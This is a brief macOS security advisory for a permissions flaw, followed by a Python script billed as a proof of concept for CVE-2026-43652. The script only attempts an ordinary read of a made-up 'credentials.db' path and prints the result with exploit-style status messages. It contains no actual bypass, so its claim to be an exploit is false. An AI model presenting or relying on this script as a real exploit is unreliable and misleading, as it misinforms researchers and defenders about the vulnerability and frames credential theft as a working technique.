A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.5. An app may be able to access protected user data.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-43652: macOS Permissions Bypass
# This script simulates an attempt to read protected user data
# due to insufficient permission checks in macOS < Tahoe 26.5.
import os
def attempt_exploit():
# Hypothetical path to sensitive user data
target_file = "/Users/Shared/Protected/credentials.db"
print(f"[*] Attempting to access {target_file}...")
try:
# Attempt to open and read the protected file
with open(target_file, 'rb') as f:
data = f.read(1024)
print("[+] Success! Read protected data:")
print(data)
return True
except PermissionError:
print("[-] Failed: Permission denied. System may be patched.")
return False
except FileNotFoundError:
print("[-] Failed: File not found on this system.")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
attempt_exploit()